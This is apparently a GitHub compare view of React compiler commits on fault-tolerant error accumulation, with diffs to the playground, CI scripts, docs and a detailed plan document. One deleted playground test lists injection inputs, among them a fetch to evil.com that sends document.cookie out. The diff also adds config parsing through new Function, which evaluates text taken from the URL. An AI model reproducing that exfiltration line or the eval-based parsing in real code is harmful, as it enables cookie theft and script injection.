Compare commits

..

7 Commits

Author SHA1 Message Date
Joe Savona
e9d30d513b [compiler] Phase 3: Make lower() always produce HIRFunction 2026-02-20 18:03:02 -08:00
Joe Savona
cd207083ee [compiler] Phase 8: Add multi-error test fixture and update plan
Add test fixture demonstrating fault tolerance: the compiler now reports
both a mutation error and a ref access error in the same function, where
previously only one would be reported before bailing out.

Update plan doc to mark all phases as complete.
2026-02-20 18:02:42 -08:00
Joe Savona
a6d3d93d4f [compiler] Phase 4 (batch 2), 5, 6: Update remaining passes for fault tolerance
Update remaining validation passes to record errors on env:
- validateMemoizedEffectDependencies
- validatePreservedManualMemoization
- validateSourceLocations (added env parameter)
- validateContextVariableLValues (changed throwTodo to recordError)
- validateLocalsNotReassignedAfterRender (changed throw to recordError)
- validateNoDerivedComputationsInEffects (changed throw to recordError)

Update inference passes:
- inferMutationAliasingEffects: return void, errors on env
- inferMutationAliasingRanges: return Array<AliasingEffect> directly, errors on env

Update codegen:
- codegenFunction: return CodegenFunction directly, errors on env
- codegenReactiveFunction: same pattern

Update Pipeline.ts to call all passes directly without tryRecord/unwrap.
Also update AnalyseFunctions.ts which called inferMutationAliasingRanges.
2026-02-20 18:02:42 -08:00
Joe Savona
821d6a8be2 [compiler] Phase 4 (batch 1): Update validation passes to record errors on env
Update 9 validation passes to record errors directly on fn.env instead of
returning Result<void, CompilerError>:
- validateHooksUsage
- validateNoCapitalizedCalls (also changed throwInvalidReact to recordError)
- validateUseMemo
- dropManualMemoization
- validateNoRefAccessInRender
- validateNoSetStateInRender
- validateNoImpureFunctionsInRender
- validateNoFreezingKnownMutableFunctions
- validateExhaustiveDependencies

Each pass now calls fn.env.recordErrors() instead of returning errors.asResult().
Pipeline.ts call sites updated to remove tryRecord() wrappers and .unwrap().
2026-02-20 18:01:44 -08:00
Joe Savona
966a5195ab [compiler] Phase 2+7: Wrap pipeline passes in tryRecord for fault tolerance
- Change runWithEnvironment/run/compileFn to return Result<CodegenFunction, CompilerError>
- Wrap all pipeline passes in env.tryRecord() to catch and record CompilerErrors
- Record inference pass errors via env.recordErrors() instead of throwing
- Handle codegen Result explicitly, returning Err on failure
- Add final error check: return Err(env.aggregateErrors()) if any errors accumulated
- Update tryCompileFunction and retryCompileFunction in Program.ts to handle Result
- Keep lint-only passes using env.logErrors() (non-blocking)
- Update 52 test fixture expectations that now report additional errors

This is the core integration that enables fault tolerance: errors are caught,
recorded, and the pipeline continues to discover more errors.
2026-02-20 18:01:15 -08:00
Joe Savona
05243074f3 [compiler] Phase 1: Add error accumulation infrastructure to Environment
Add error accumulation methods to the Environment class:
- #errors field to accumulate CompilerErrors across passes
- recordError() to record a single diagnostic (throws if Invariant)
- recordErrors() to record all diagnostics from a CompilerError
- hasErrors() to check if any errors have been recorded
- aggregateErrors() to retrieve the accumulated CompilerError
- tryRecord() to wrap callbacks and catch CompilerErrors
2026-02-20 17:57:42 -08:00
Joe Savona
056a8e127f [compiler] Add fault tolerance plan document
Add detailed plan for making the React Compiler fault-tolerant by
accumulating errors across all passes instead of stopping at the first
error. This enables reporting multiple compilation errors at once.
2026-02-20 17:57:41 -08:00
314 changed files with 8283 additions and 12775 deletions

View File

@@ -463,7 +463,6 @@ module.exports = {
globals: {
nativeFabricUIManager: 'readonly',
RN$enableMicrotasksInReact: 'readonly',
RN$isNativeEventTargetEventDispatchingEnabled: 'readonly',
},
},
{
@@ -567,7 +566,6 @@ module.exports = {
CallSite: 'readonly',
ConsoleTask: 'readonly', // TOOD: Figure out what the official name of this will be.
ReturnType: 'readonly',
AggregateError: 'readonly',
AnimationFrameID: 'readonly',
WeakRef: 'readonly',
// For Flow type annotation. Only `BigInt` is valid at runtime.
@@ -628,7 +626,6 @@ module.exports = {
FinalizationRegistry: 'readonly',
Exclude: 'readonly',
Omit: 'readonly',
Pick: 'readonly',
Keyframe: 'readonly',
PropertyIndexedKeyframes: 'readonly',
KeyframeAnimationOptions: 'readonly',

View File

@@ -116,13 +116,11 @@ jobs:
run: |
sed -i -e 's/ @license React*//' \
build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
- name: Insert @headers into eslint plugin and react-refresh
run: |
sed -i -e 's/ LICENSE file in the root directory of this source tree./ LICENSE file in the root directory of this source tree.\n *\n * @noformat\n * @nolint\n * @lightSyntaxTransform\n * @preventMunge\n * @oncall react_core/' \
build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
- name: Move relevant files for React in www into compiled
run: |
@@ -134,9 +132,9 @@ jobs:
mkdir ./compiled/facebook-www/__test_utils__
mv build/__test_utils__/ReactAllWarnings.js ./compiled/facebook-www/__test_utils__/ReactAllWarnings.js
# Copy eslint-plugin-react-hooks (www build with feature flags)
# Copy eslint-plugin-react-hooks
mkdir ./compiled/eslint-plugin-react-hooks
cp ./compiled/facebook-www/ESLintPluginReactHooks-dev.modern.js \
cp build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
./compiled/eslint-plugin-react-hooks/index.js
# Move unstable_server-external-runtime.js into facebook-www
@@ -167,6 +165,10 @@ jobs:
# Delete the OSS renderers, these are sync'd to RN separately.
RENDERER_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/implementations/
rm $RENDERER_FOLDER/ReactFabric-{dev,prod,profiling}.js
# Delete the legacy renderer shim, this is not sync'd and will get deleted in the future.
SHIM_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/shims/
rm $SHIM_FOLDER/ReactNative.js
# Copy eslint-plugin-react-hooks
# NOTE: This is different from www, here we include the full package

2
.gitignore vendored
View File

@@ -21,7 +21,6 @@ chrome-user-data
.idea
*.iml
.vscode
.zed
*.swp
*.swo
/tmp
@@ -41,3 +40,4 @@ packages/react-devtools-fusebox/dist
packages/react-devtools-inline/dist
packages/react-devtools-shell/dist
packages/react-devtools-timeline/dist

View File

@@ -33,7 +33,7 @@ const canaryChannelLabel = 'canary';
const rcNumber = 0;
const stablePackages = {
'eslint-plugin-react-hooks': '7.1.1',
'eslint-plugin-react-hooks': '7.1.0',
'jest-react': '0.18.0',
react: ReactVersion,
'react-art': ReactVersion,

View File

@@ -35,20 +35,6 @@ yarn snap -p <file-basename> -d
yarn snap -u
```
## Linting
```bash
# Run lint on the compiler source
yarn workspace babel-plugin-react-compiler lint
```
## Formatting
```bash
# Run prettier on all files (from the react root directory, not compiler/)
yarn prettier-all
```
## Compiling Arbitrary Files
Use `yarn snap compile` to compile any file (not just fixtures) with the React Compiler:
@@ -76,7 +62,7 @@ yarn snap minimize --update <path>
## Version Control
This repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitly added/removed.
This repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitlyu added/removed.
```bash
# Check status
@@ -243,19 +229,20 @@ Would enable the `enableJsxOutlining` feature and disable the `enableNameAnonymo
3. Look for `Impure`, `Render`, `Capture` effects on instructions
4. Check the pass ordering in Pipeline.ts to understand when effects are populated vs validated
## Error Handling and Fault Tolerance
## Error Handling for Unsupported Features
The compiler is fault-tolerant: it runs all passes and accumulates errors on the `Environment` rather than throwing on the first error. This lets users see all compilation errors at once.
When the compiler encounters an unsupported but known pattern, use `CompilerError.throwTodo()` instead of `CompilerError.invariant()`. Todo errors cause graceful bailouts in production; Invariant errors are hard failures indicating unexpected/invalid states.
**Recording errors** — Passes record errors via `env.recordError(diagnostic)`. Errors are accumulated on `Environment.#errors` and checked at the end of the pipeline via `env.hasErrors()` / `env.aggregateErrors()`.
```typescript
// Unsupported but expected pattern - graceful bailout
CompilerError.throwTodo({
reason: `Support [description of unsupported feature]`,
loc: terminal.loc,
});
**`tryRecord()` wrapper** — In Pipeline.ts, validation passes are wrapped in `env.tryRecord(() => pass(hir))` which catches thrown `CompilerError`s (non-invariant) and records them. Infrastructure/transformation passes are NOT wrapped in `tryRecord()` because later passes depend on their output being structurally valid.
**Error categories:**
- `CompilerError.throwTodo()` — Unsupported but known pattern. Graceful bailout. Can be caught by `tryRecord()`.
- `CompilerError.invariant()` — Truly unexpected/invalid state. Always throws immediately, never caught by `tryRecord()`.
- Non-`CompilerError` exceptions — Always re-thrown.
**Key files:** `Environment.ts` (`recordError`, `tryRecord`, `hasErrors`, `aggregateErrors`), `Pipeline.ts` (pass orchestration), `Program.ts` (`tryCompileFunction` handles the `Result`).
**Test fixtures:** `__tests__/fixtures/compiler/fault-tolerance/` contains multi-error fixtures verifying all errors are reported.
// Invariant is for truly unexpected/invalid states - hard failure
CompilerError.invariant(false, {
reason: `Unexpected [thing]`,
loc: terminal.loc,
});
```

View File

@@ -1,3 +1,5 @@
{
import type { PluginOptions } from 
'babel-plugin-react-compiler/dist';
({
  //compilationMode: "all"
}
} satisfies PluginOptions);

View File

@@ -237,7 +237,7 @@ test('show internals button toggles correctly', async ({page}) => {
test('error is displayed when config has syntax error', async ({page}) => {
const store: Store = {
source: TEST_SOURCE,
config: `{ compilationMode: }`,
config: `compilationMode: `,
showInternals: false,
};
const hash = encodeStore(store);
@@ -254,17 +254,17 @@ test('error is displayed when config has syntax error', async ({page}) => {
const output = text.join('');
// Remove hidden chars
expect(output.replace(/\s+/g, ' ')).toContain(
'Unexpected failure when transforming configs',
);
expect(output.replace(/\s+/g, ' ')).toContain('Invalid override format');
});
test('error is displayed when config has validation error', async ({page}) => {
const store: Store = {
source: TEST_SOURCE,
config: `{
config: `import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
({
compilationMode: "123"
}`,
} satisfies PluginOptions);`,
showInternals: false,
};
const hash = encodeStore(store);

View File

@@ -1,157 +0,0 @@
/**
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
import assert from 'node:assert';
import {test, describe} from 'node:test';
import JSON5 from 'json5';
// Re-implement parseConfigOverrides here since the source uses TS imports
// that can't be directly loaded by Node. This mirrors the logic in
// compilation.ts exactly.
function parseConfigOverrides(configOverrides) {
const trimmed = configOverrides.trim();
if (!trimmed) {
return {};
}
return JSON5.parse(trimmed);
}
describe('parseConfigOverrides', () => {
test('empty string returns empty object', () => {
assert.deepStrictEqual(parseConfigOverrides(''), {});
assert.deepStrictEqual(parseConfigOverrides(' '), {});
});
test('default config parses correctly', () => {
const config = `{
//compilationMode: "all"
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {});
});
test('compilationMode "all" parses correctly', () => {
const config = `{
compilationMode: "all"
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {compilationMode: 'all'});
});
test('config with single-line and block comments parses correctly', () => {
const config = `{
// This is a single-line comment
/* This is a block comment */
compilationMode: "all",
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {compilationMode: 'all'});
});
test('config with trailing commas parses correctly', () => {
const config = `{
compilationMode: "all",
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {compilationMode: 'all'});
});
test('nested environment options parse correctly', () => {
const config = `{
environment: {
validateRefAccessDuringRender: true,
},
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {
environment: {validateRefAccessDuringRender: true},
});
});
test('multiple options parse correctly', () => {
const config = `{
compilationMode: "all",
environment: {
validateRefAccessDuringRender: false,
},
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {
compilationMode: 'all',
environment: {validateRefAccessDuringRender: false},
});
});
test('rejects malicious IIFE injection', () => {
const config = `(function(){ document.title = "hacked"; return {}; })()`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects malicious comma operator injection', () => {
const config = `{
compilationMode: (alert("xss"), "all")
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects function call in value', () => {
const config = `{
compilationMode: eval("all")
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects variable references', () => {
const config = `{
compilationMode: someVar
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects template literals', () => {
const config = `{
compilationMode: \`all\`
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects constructor calls', () => {
const config = `{
compilationMode: new String("all")
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects arbitrary JS code', () => {
const config = `fetch("https://evil.com?c=" + document.cookie)`;
assert.throws(() => parseConfigOverrides(config));
});
test('config with array values parses correctly', () => {
const config = `{
sources: ["src/a.ts", "src/b.ts"],
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {sources: ['src/a.ts', 'src/b.ts']});
});
test('config with null values parses correctly', () => {
const config = `{
compilationMode: null,
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {compilationMode: null});
});
test('config with numeric values parses correctly', () => {
const config = `{
maxLevel: 42,
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {maxLevel: 42});
});
});

View File

@@ -21,6 +21,9 @@ import {monacoConfigOptions} from './monacoOptions';
import {IconChevron} from '../Icons/IconChevron';
import {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';
// @ts-expect-error - webpack asset/source loader handles .d.ts files as strings
import compilerTypeDefs from 'babel-plugin-react-compiler/dist/index.d.ts';
loader.config({monaco});
export default function ConfigEditor({
@@ -102,10 +105,22 @@ function ExpandedEditor({
_: editor.IStandaloneCodeEditor,
monaco: Monaco,
) => void = (_, monaco) => {
// Enable comments in JSON for JSON5-style config
monaco.languages.json.jsonDefaults.setDiagnosticsOptions({
allowComments: true,
trailingCommas: 'ignore',
// Add the babel-plugin-react-compiler type definitions to Monaco
monaco.languages.typescript.typescriptDefaults.addExtraLib(
//@ts-expect-error - compilerTypeDefs is a string
compilerTypeDefs,
'file:///node_modules/babel-plugin-react-compiler/dist/index.d.ts',
);
monaco.languages.typescript.typescriptDefaults.setCompilerOptions({
target: monaco.languages.typescript.ScriptTarget.Latest,
allowNonTsExtensions: true,
moduleResolution: monaco.languages.typescript.ModuleResolutionKind.NodeJs,
module: monaco.languages.typescript.ModuleKind.ESNext,
noEmit: true,
strict: false,
esModuleInterop: true,
allowSyntheticDefaultImports: true,
jsx: monaco.languages.typescript.JsxEmit.React,
});
};
@@ -142,8 +157,8 @@ function ExpandedEditor({
</div>
<div className="flex-1 border border-gray-300">
<MonacoEditor
path={'config.json5'}
language={'json'}
path={'config.ts'}
language={'typescript'}
value={store.config}
onMount={handleMount}
onChange={handleChange}

View File

@@ -25,7 +25,6 @@ import BabelPluginReactCompiler, {
type LoggerEvent,
} from 'babel-plugin-react-compiler';
import {transformFromAstSync} from '@babel/core';
import JSON5 from 'json5';
import type {
CompilerOutput,
CompilerTransformOutput,
@@ -127,14 +126,6 @@ const COMMON_HOOKS: Array<[string, Hook]> = [
],
];
export function parseConfigOverrides(configOverrides: string): any {
const trimmed = configOverrides.trim();
if (!trimmed) {
return {};
}
return JSON5.parse(trimmed);
}
function parseOptions(
source: string,
mode: 'compiler' | 'linter',
@@ -165,7 +156,16 @@ function parseOptions(
});
// Parse config overrides from config editor
const configOverrideOptions = parseConfigOverrides(configOverrides);
let configOverrideOptions: any = {};
const configMatch = configOverrides.match(/^\s*import.*?\n\n\((.*)\)/s);
if (configOverrides.trim()) {
if (configMatch && configMatch[1]) {
const configString = configMatch[1].replace(/satisfies.*$/, '').trim();
configOverrideOptions = new Function(`return (${configString})`)();
} else {
throw new Error('Invalid override format');
}
}
const opts: PluginOptions = parsePluginOptions({
...parsedPragmaOptions,

View File

@@ -14,9 +14,11 @@ export default function MyApp() {
`;
export const defaultConfig = `\
{
import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
({
//compilationMode: "all"
}`;
} satisfies PluginOptions);`;
export const defaultStore: Store = {
source: index,

View File

@@ -32,7 +32,6 @@
"hermes-eslint": "^0.25.0",
"hermes-parser": "^0.25.0",
"invariant": "^2.2.4",
"json5": "^2.2.3",
"lru-cache": "^11.2.2",
"lz-string": "^1.5.0",
"monaco-editor": "^0.52.0",

View File

@@ -8,7 +8,7 @@ The idea of React Compiler is to allow developers to use React's familiar declar
* Bound the amount of re-rendering that happens on updates to ensure that apps have predictably fast performance by default.
* Keep startup time neutral with pre-React Compiler performance. Notably, this means holding code size increases and memoization overhead low enough to not impact startup.
* Retain React's familiar declarative, component-oriented programming model. i.e, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
* Retain React's familiar declarative, component-oriented programming model. Ie, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
* "Just work" on idiomatic React code that follows React's rules (pure render functions, the rules of hooks, etc).
* Support typical debugging and profiling tools and workflows.
* Be predictable and understandable enough by React developers — i.e. developers should be able to quickly develop a rough intuition of how React Compiler works.
@@ -19,7 +19,7 @@ The idea of React Compiler is to allow developers to use React's familiar declar
The following are explicitly *not* goals for React Compiler:
* Provide perfectly optimal re-rendering with zero unnecessary recomputation. This is a non-goal for several reasons:
* The runtime overhead of the extra tracking involved can outweigh the cost of recomputation in many cases.
* The runtime overhead of the extra tracking involved can outweight the cost of recomputation in many cases.
* In cases with conditional dependencies it may not be possible to avoid recomputing some/all instructions.
* The amount of code may regress startup times, which would conflict with our goal of neutral startup performance.
* Support code that violates React's rules. React's rules exist to help developers build robust, scalable applications and form a contract that allows us to continue improving React without breaking applications. React Compiler depends on these rules to safely transform code, and violations of rules will therefore break React Compiler's optimizations.
@@ -42,9 +42,9 @@ React Compiler has two primary public interfaces: a Babel plugin for transformin
The core of the compiler is largely decoupled from Babel, using its own intermediate representations. The high-level flow is as follows:
- **Babel Plugin**: Determines which functions in a file should be compiled, based on the plugin options and any local opt-in/opt-out directives. For each component or hook to be compiled, the plugin calls the compiler, passing in the original function and getting back a new AST node which will replace the original.
- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (i.e. a loop).
- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (ie a loop).
- **SSA Conversion** (EnterSSA): The HIR is converted to HIR form, such that all Identifiers in the HIR are updated to an SSA-based identifier.
- Validation: We run various validation passes to check that the input is valid React, i.e. that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
- Validation: We run various validation passes to check that the input is valid React, ie that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
- **Optimization**: Various passes such as dead code elimination and constant propagation can generally improve performance and reduce the amount of instructions to be optimized later.
- **Type Inference** (InferTypes): We run a conservative type inference pass to identify certain key types of data that may appear in the program that are relevant for further analysis, such as which values are hooks, primitives, etc.
- **Inferring Reactive Scopes**: Several passes are involved in determining groups of values that are created/mutated together and the set of instructions involved in creating/mutating those values. We call these groups "reactive scopes", and each can have one or more declarations (or occasionally a reassignment).

View File

@@ -0,0 +1,330 @@
## React Compiler Fault Tolerance
Update React Compiler (@compiler/ directory) to always run all passes and return either the transformed code (if no error) or a list of one or more compilation errors.
## Background
Currently React Compiler runs through a series of passes in Pipeline.ts. If an error occurs in a pass the compiler will generally either throw the error in the pass where it occurs, or return a Result<_, CompilerError> which is then unwrapped in Pipeline.ts, throwing there. This means that a single error that triggers early can prevent later validation from running, meaning the user has to first fix one error in order to see another.
## New Approach
The compiler should always run all passes in the pipeline, up to and including CodegenReactiveFunction. During this process it should accumulate errors. If at the end of compilation there were no accumulated errors, return `Ok(generatedfunction)`. Else, return `Err(CompilerError)` with *all* the accumulated errors.
Note that some errors may continue to cause an eager bailout:
* If an error is not an instanceof CompilerError, throw it as it occurs
* If an error is a CompilerError invariant, throw it as it occurs since this represents a truly exceptional, unexpected case
## Detailed Design
* The Environment needs a way to record errors as compilation proceeds. This should generally store the error (and log, if a logger is configured), but should immediately throw if the error is an invariant (see above).
* BuildHIR should always produce an HIR without error. For syntax forms that are unsupported (currently throwing a Todo error), we should instead construct record the todo error on the environment, and construct a partial HIR. The exact form of the partial HIR can be situation specific:
* `var` is currently unsupported, but we could pretend it was `let`
* `finally` blocks are unsupported, we could just prune them, or move the code after the try/catch (put the finally logic in the consequent)
* This may mean updating the HIR to allow representing partial code
* `eval()` can just be an Unsupported InstructionValue variant
* All of the passes need to be updated to stop returning Result or CompilerError, and instead record their errors on the environment. They should always be able to proceed even in the presence of errors. For example, in InferMutationAliasingEffects if we discover that the code mutates a frozen value, we can record this as an error and then just pretend the mutation didn't happen - ie construct a scope as if the mutating code was not a mutation after all.
* Finally, the end of the pipeline should check for errors and either turn `Ok(GeneratedFunction)` or `Err(aggregatedErrors)`. The code calling into the pipeline then needs to handle this appropriately.
## Detailed Plan
### Phase 1: Environment Error Accumulation Infrastructure
Add error accumulation to the `Environment` class so that any pass can record errors during compilation without halting.
- [x] **1.1 Add error accumulator to Environment** (`src/HIR/Environment.ts`)
- Add a `#errors: CompilerError` field, initialized in the constructor
- Add a `recordError(error: CompilerDiagnostic | CompilerErrorDetail)` method that:
- If an Invariant-category detail, immediately throw it
- Otherwise, push the diagnostic/detail onto `#errors` (and log via `this.logger` if configured)
- Add a `recordErrors(error: CompilerError)` method that calls `recordError()` for each of the details on the given error.
- Add a `hasErrors(): boolean` getter
- Add a `aggregateErrors(): CompilerError` method that returns the accumulated error object
- Consider whether `recordError` should accept the same options as `CompilerError.push()` for convenience (reason, description, severity, loc, etc.)
- [x] **1.2 Add a `tryRecord` helper on Environment** (`src/HIR/Environment.ts`)
- Add a `tryRecord(fn: () => void): void` method that wraps a callback in try/catch:
- If `fn` throws a `CompilerError` that is NOT an invariant, record it via `recordError`
- If `fn` throws a non-CompilerError or a CompilerError invariant, re-throw
- This helper is the migration path for passes that currently throw: wrap their call in `env.tryRecord(() => pass(hir))` so exceptions become recorded errors
### Phase 2: Update Pipeline.ts to Accumulate Errors
Change `runWithEnvironment` to run all passes and check for errors at the end instead of letting exceptions propagate.
- [x] **2.1 Change `runWithEnvironment` return type** (`src/Entrypoint/Pipeline.ts`)
- Change return type from `CodegenFunction` to `Result<CodegenFunction, CompilerError>`
- At the end of the pipeline, check `env.hasErrors()`:
- If no errors: return `Ok(ast)`
- If errors: return `Err(env.aggregateErrors())`
- [x] **2.2 Update `compileFn` to propagate the Result** (`src/Entrypoint/Pipeline.ts`)
- Change `compileFn` return type from `CodegenFunction` to `Result<CodegenFunction, CompilerError>`
- Propagate the Result from `runWithEnvironment`
- [x] **2.3 Update `run` to propagate the Result** (`src/Entrypoint/Pipeline.ts`)
- Same change for the internal `run` function
- [x] **2.4 Update callers in Program.ts** (`src/Entrypoint/Program.ts`)
- In `tryCompileFunction`, change from try/catch around `compileFn` to handling the `Result`:
- If `Ok(codegenFn)`: return the compiled function
- If `Err(compilerError)`: return `{kind: 'error', error: compilerError}`
- Keep the try/catch only for truly unexpected (non-CompilerError) exceptions and invariants
- The existing `handleError`/`logError`/`panicThreshold` logic in `processFn` should continue to work unchanged since it already handles `CompilerError` instances
### Phase 3: Update BuildHIR (lower) to Always Produce HIR
Currently `lower()` returns `Result<HIRFunction, CompilerError>`. It already accumulates errors internally via `builder.errors`, but returns `Err` when errors exist. Change it to always return `Ok(hir)` while recording errors on the environment.
- [x] **3.1 Change `lower` to always return HIRFunction** (`src/HIR/BuildHIR.ts`)
- Change return type from `Result<HIRFunction, CompilerError>` to `HIRFunction`
- Instead of returning `Err(builder.errors)` at line 227-229, record errors on `env` via `env.recordErrors(builder.errors)` and return the (partial) HIR
- Update the pipeline to call `lower(func, env)` directly instead of `lower(func, env).unwrap()`
- Added try/catch around body lowering to catch thrown CompilerErrors (e.g., from `resolveBinding`) and record them
- [x] **3.2 Handle `var` declarations as `let`** (`src/HIR/BuildHIR.ts`, line ~855)
- Record the Todo error, then treat `var` as `let` and continue lowering (instead of skipping the declaration)
- [x] **3.3 Handle `try/finally` by pruning `finally`** (`src/HIR/BuildHIR.ts`, lines ~1281-1296)
- Already handled: `try` without `catch` pushes error and returns; `try` with `finally` pushes error and continues with `try/catch` portion only
- [x] **3.4 Handle `eval()` via UnsupportedNode** (`src/HIR/BuildHIR.ts`, line ~3568)
- Already handled: records error via `builder.errors.push()` and continues
- [x] **3.5 Handle `with` statement via UnsupportedNode** (`src/HIR/BuildHIR.ts`, line ~1382)
- Already handled: records error and emits `UnsupportedNode`
- [x] **3.6 Handle inline `class` declarations** (`src/HIR/BuildHIR.ts`, line ~1402)
- Already handled: records error and emits `UnsupportedNode`
- [x] **3.7 Handle remaining Todo errors in expression lowering** (`src/HIR/BuildHIR.ts`)
- Already handled: all ~60 error sites use `builder.errors.push()` to accumulate errors. The try/catch around body lowering provides a safety net for any that still throw.
- [x] **3.8 Handle `throw` inside `try/catch`** (`src/HIR/BuildHIR.ts`, line ~284)
- Already handled: records error via `builder.errors.push()` and continues
- [x] **3.9 Handle `for` loops with missing test or expression init** (`src/HIR/BuildHIR.ts`, lines ~559, ~632)
- For `for(;;)` (missing test): emit `true` as the test expression and add a branch terminal
- For empty init (`for (; ...)`): add a placeholder instruction to avoid invariant about empty blocks
- For expression init (`for (expr; ...)`): record error and lower the expression as best-effort
- Changed `'unsupported'` terminal to `'goto'` terminal for non-variable init to maintain valid CFG structure
- [x] **3.10 Handle nested function lowering failures** (`src/HIR/BuildHIR.ts`, `lowerFunction` at line ~3504)
- `lowerFunction()` now always returns `LoweredFunction` since `lower()` always returns `HIRFunction`
- Errors from nested functions are recorded on the shared environment
- Removed the `null` return case and the corresponding `UnsupportedNode` fallback in callers
- [x] **3.11 Handle unreachable functions in `build()`** (`src/HIR/HIRBuilder.ts`, `build()`)
- Changed `CompilerError.throwTodo()` for unreachable code with hoisted declarations to `this.errors.push()` to allow HIR construction to complete
- [x] **3.12 Handle duplicate fbt tags** (`src/HIR/BuildHIR.ts`, line ~2279)
- Changed `CompilerError.throwDiagnostic()` to `builder.errors.pushDiagnostic()` to record instead of throw
### Phase 4: Update Validation Passes
All validation passes need to record errors on the environment instead of returning `Result` or throwing. They should still detect the same problems, but the pipeline should continue after each one.
#### Pattern A passes (currently return `Result`, called with `.unwrap()`)
These passes already accumulate errors internally and return `Result<void, CompilerError>`. The change is: instead of returning the Result, record errors on `env` and return void. Remove the `.unwrap()` call in Pipeline.ts.
- [x] **4.1 `validateHooksUsage`** (`src/Validation/ValidateHooksUsage.ts`)
- Change signature from `(fn: HIRFunction): Result<void, CompilerError>` to `(fn: HIRFunction): void`
- Record errors on `fn.env` instead of returning `errors.asResult()`
- Update Pipeline.ts call site (line 211): remove `.unwrap()`
- [x] **4.2 `validateNoCapitalizedCalls`** (`src/Validation/ValidateNoCapitalizedCalls.ts`)
- Change signature to return void
- Fix the hybrid pattern: the direct `CallExpression` path currently throws via `CompilerError.throwInvalidReact()` — change to record on env
- The `MethodCall` path already accumulates — change to record on env
- Update Pipeline.ts call site (line 214): remove `.unwrap()`
- [x] **4.3 `validateUseMemo`** (`src/Validation/ValidateUseMemo.ts`)
- Change signature to return void
- Record hard errors on env instead of returning `errors.asResult()`
- The soft `voidMemoErrors` path already uses `env.logErrors()` — keep as-is or also record
- Update Pipeline.ts call site (line 170): remove `.unwrap()`
- [x] **4.4 `dropManualMemoization`** (`src/Inference/DropManualMemoization.ts`)
- Change signature to return void
- Record errors on env instead of returning `errors.asResult()`
- Update Pipeline.ts call site (line 178): remove `.unwrap()`
- [x] **4.5 `validateNoRefAccessInRender`** (`src/Validation/ValidateNoRefAccessInRender.ts`)
- Change signature to return void
- Record errors on env instead of returning Result
- Update Pipeline.ts call site (line 275): remove `.unwrap()`
- [x] **4.6 `validateNoSetStateInRender`** (`src/Validation/ValidateNoSetStateInRender.ts`)
- Change signature to return void
- Record errors on env
- Update Pipeline.ts call site (line 279): remove `.unwrap()`
- [x] **4.7 `validateNoImpureFunctionsInRender`** (`src/Validation/ValidateNoImpureFunctionsInRender.ts`)
- Change signature to return void
- Record errors on env
- Update Pipeline.ts call site (line 300): remove `.unwrap()`
- [x] **4.8 `validateNoFreezingKnownMutableFunctions`** (`src/Validation/ValidateNoFreezingKnownMutableFunctions.ts`)
- Change signature to return void
- Record errors on env
- Update Pipeline.ts call site (line 303): remove `.unwrap()`
- [x] **4.9 `validateExhaustiveDependencies`** (`src/Validation/ValidateExhaustiveDependencies.ts`)
- Change signature to return void
- Record errors on env
- Update Pipeline.ts call site (line 315): remove `.unwrap()`
- [x] **4.10 `validateMemoizedEffectDependencies`** (`src/Validation/ValidateMemoizedEffectDependencies.ts`)
- Change signature to return void (note: operates on `ReactiveFunction`)
- Record errors on the function's env
- Update Pipeline.ts call site (line 565): remove `.unwrap()`
- [x] **4.11 `validatePreservedManualMemoization`** (`src/Validation/ValidatePreservedManualMemoization.ts`)
